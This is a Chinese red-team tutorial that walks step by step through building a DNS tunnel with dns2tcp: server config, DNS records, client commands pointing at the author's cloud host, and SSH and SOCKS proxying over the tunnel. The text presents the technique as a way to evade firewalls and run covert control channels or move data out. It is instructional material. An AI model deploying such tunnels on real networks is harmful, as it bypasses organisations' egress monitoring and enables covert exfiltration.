当前位置:   article > 正文

红队隧道应用篇之DNS协议传输(九)_如何通过dns隧道传输东西

如何通过dns隧道传输东西

简介

DNS隧道是一种相对隐蔽的隧道, 通过将其他协议封装到DNS协议中来进行传输通信

因为DNS协议是网络中的基础协议且必不可少, 所以大部分防火墙和入侵检测设备是不会对DNS流量进行拦截, 这就给DNS作为隐蔽通信提供了有力条件, 从而可以利用它实现诸如僵尸网络或木马的远程控制通道和对外传输数据等等

DNS隧道依据其实现方式大致可分为直连和中继两类:

  • 直连: 用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过

  • 中继隧道: 通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多

dns2tcp

工具安装及配置

在自己的云服务器上执行如下命令安装dns2tcp工具

apt-get update
apt-get install dns2tcp
  • 1
  • 2
image-20221102202110650

修改dns2tcp配置文件: vim /etc/dns2tcpd.conf, 设置域名及DNS隧道密码, 注意监听地址要修改成0.0.0.0

image-20221103165234024

检查云服务器的53端口是否被占用: netstat -anp | grep "53", 发现53端口上运行了systemd-resolve服务, 此服务无法使用kill命令进行关闭, 只能使用: systemctl stop systemd-resolved

image-20221102204446000

配置域名解析

此处我选择的是godaddy的域名: henry666.xyz

添加一条A记录,主机记录为dns, 记录值为124.71.209.202

再添加一条NS记录, 主机记录为dns2tcp, 记录值为dns.henry666.xyz

解释: A记录表示dns.henry666.xyz指向124.71.209.202; NS记录表示若想要知道dns2tcp.henry666.xyz的ip地址, 就要通过dns.henry666.xyz去查询

image-20221103201846612

上述配置完成后, 在我们的云服务器上对53端口抓包来验证NS记录是否设置成功, 命令如下所示:

tcpdump -n -i eth0 udp dst port 53
  • 1
image-20221103202824464

在客户端cmd命令输入: nslookup dns2tcp.henry666.xyz, 随后查看云服务上的抓包情况, 发现有很多数据回显, 说明这些二数据最终都流向了dns.henry666.xyz这个域名服务器

这里我简单说明下DNS查询数据的流程: 首先解析此域名会先去本地的hosts文件查询数据, 查询不到再去学校的DNS服务器查询(此处我用的是校园网), 再查询不到又去根域名henry666.xyz的godaddy域名服务器查询, 然后godaddy域名服务器告诉我们此数据要去找dns.henry666.xyz这个域名服务器, 最后数据包流向了我们的云服务器

image-20221103203030470 image-20221103203106700

服务端操作

服务端(云服务器)输入如下命令运行dns2tcpd工具

dns2tcpd -f /etc/dns2tcpd.conf -F -d 3		
  • 1
image-20221102213628103

客户端操作

将dns2tcp工具解压至客户主机, 并在文件夹打开cmd命令输入: dns2tcpc -r ssh -k henry666 -z dns2tcp.henry666.xyz 124.71.209.202 -l 8888 -c -d 3

-r : 后接服务名称ssh/socks/http中的任意一个
-z : 后接你设置的NS记录以及云服务器ip
-l : 后接本地监听端口
-d : 开启Debug模式

image-20221104214436862

使用xshell连接本机的8888端口, 随后输入要登录的用户名及密码, 即可连接上云服务器

image-20221103205222419 image-20221103205411853

Xshell动态端口转发(dynamic)

鼠标右键ssh会话, 添加隧道转发规则, 此处选择SOCKS, 侦听端口为1080

image-20221103232559677

随后点击查看->隧道窗格, 查看刚刚创建的转移规则是否生效

image-20221103232830018

Proxifier配置系统代理

点击配置文件->代理服务器, 添加代理服务器127.0.0.1:1080

image-20221103233414959 image-20221103233502907

运行测试

打开火狐浏览器, 搜索IP可发现本机IP为云服务器的IP

我用其他浏览器访问网页总是显示“代理服务器连接失败”, 只有使用火狐浏览器才能正常访问页面

image-20221103233949404

在运行浏览器的期间, 可在proxifier界面看到浏览器的网页数据流向至socks代理服务器

image-20221103234049289

参考文章

  • https://blog.csdn.net/a15608445683/article/details/122803795

  • https://blog.csdn.net/jd_cx/article/details/122660833

  • https://www.baidu.com/link?url=8_ioEY96YssEa3B_EXOcBNLrb4YDg6sngpAj93DiGuWOX_zZEC8qIUADERWQAsFY&wd=&eqid=d0ca3b550000fa500000000663650fe8

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/304257
推荐阅读
相关标签
  

闽ICP备14008679号